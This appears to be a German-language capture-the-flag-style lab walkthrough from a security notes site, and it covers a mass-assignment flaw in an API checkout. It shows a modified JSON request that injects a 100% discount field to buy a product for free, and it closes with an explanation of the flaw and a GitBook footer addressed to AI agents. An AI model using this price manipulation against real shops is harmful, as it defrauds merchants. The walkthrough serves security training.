> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/api-testing/mass-assignment-exploitation.md).

# Ausnutzung von Mass Assignment

### Ausnutzen einer Mass-Assignment-Schwachstelle

**Lernziel**/ Ausnutzen einer Mass-Assignment-Schwachstelle, um das Produkt Leichte "l33t" Lederjacke ohne ausreichendes Guthaben zu kaufen. / Bereitgestellte Zugangsdaten: **wiener / peter**

#### Beobachtung des normalen Verhaltens

Wenn ein Produkt dem Warenkorb hinzugefügt wird und versucht wird, die Bestellung zu validieren, wird eine Anfrage an die API gesendet:

<figure><img src="/files/6cd4a6b7eca1d6d4cac9e85236f286522756b364" alt=""><figcaption></figcaption></figure>

**POST-Anfrage an `/api/checkout`**/ Der Body der Anfrage enthält nur die ausgewählten Produkte:

```json
{
    "chosen_products":[
        {
            "product_id":"1",
            "quantity":1
        }
    ]
}
```

Wenn Sie dann den Status des Warenkorbs prüfen, wird eine GET-Anfrage an denselben Endpunkt gesendet.

**GET-Anfrage an `/api/checkout`**/ Die vom Server zurückgegebene Antwort liegt im JSON-Format vor und enthält zusätzliche Felder:

```json
{
   "chosen_discount":{
      "percentage":0
   },
   "chosen_products":[
      {
         "product_id":"1",
         "name":"Leichte /"l33t/" Lederjacke",
         "quantity":1,
         "item_price":133700
      }
   ]
}
```

Das `chosen_discount.percentage` Feld, das auf Kundenseite bei der ersten Übermittlung nicht kontrolliert wird, kann eingesehen werden.

<figure><img src="/files/f0100ba7a19b219d1e6e81533ae31e18c88e80cc" alt=""><figcaption></figcaption></figure>

#### Ausnutzung der Schwachstelle

Beim Abfangen der **POST `/api/checkout`** Anfrage ist es möglich, manuell das `chosen_discount` Feld zum Body der Anfrage hinzuzufügen.

**Geänderte Anfrage**:

```json
{
   "chosen_discount":{
      "percentage":100
   },
   "chosen_products":[
      {
         "product_id":"1",
         "quantity":1
      }
   ]
}
```

Diese Änderung wird vom Server beim Zurücksenden der Anfrage akzeptiert.

<figure><img src="/files/49fa11b104ca847587ec5d37ac6cb0a69b5800f8" alt=""><figcaption></figcaption></figure>

#### Ergebnis

Der Server wendet einen Rabatt von **100%** auf das Produkt an, wodurch der Kauf ohne Kosten abgeschlossen werden kann. / Der Befehl wird erfolgreich validiert, was durch die Weiterleitung zu folgendem Ziel angezeigt wird:

```bash
/cart/order-confirmation?order-confirmed=true
```

<figure><img src="/files/a0ca0c5042b0592aaa9edf0cfaa192a82c677243" alt=""><figcaption></figcaption></figure>

#### Fazit

Diese Schwachstelle basiert auf einer **Mass Assignment**, wobei die API sensible Felder akzeptiert und verarbeitet, die vom Client ohne angemessene Validierung bereitgestellt werden. Durch das Einschleusen eines ungeplanten Parameters (`chosen_discount`), ist es möglich, die Geschäftslogik zu ändern und Preisprüfungen zu umgehen.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/api-testing/mass-assignment-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
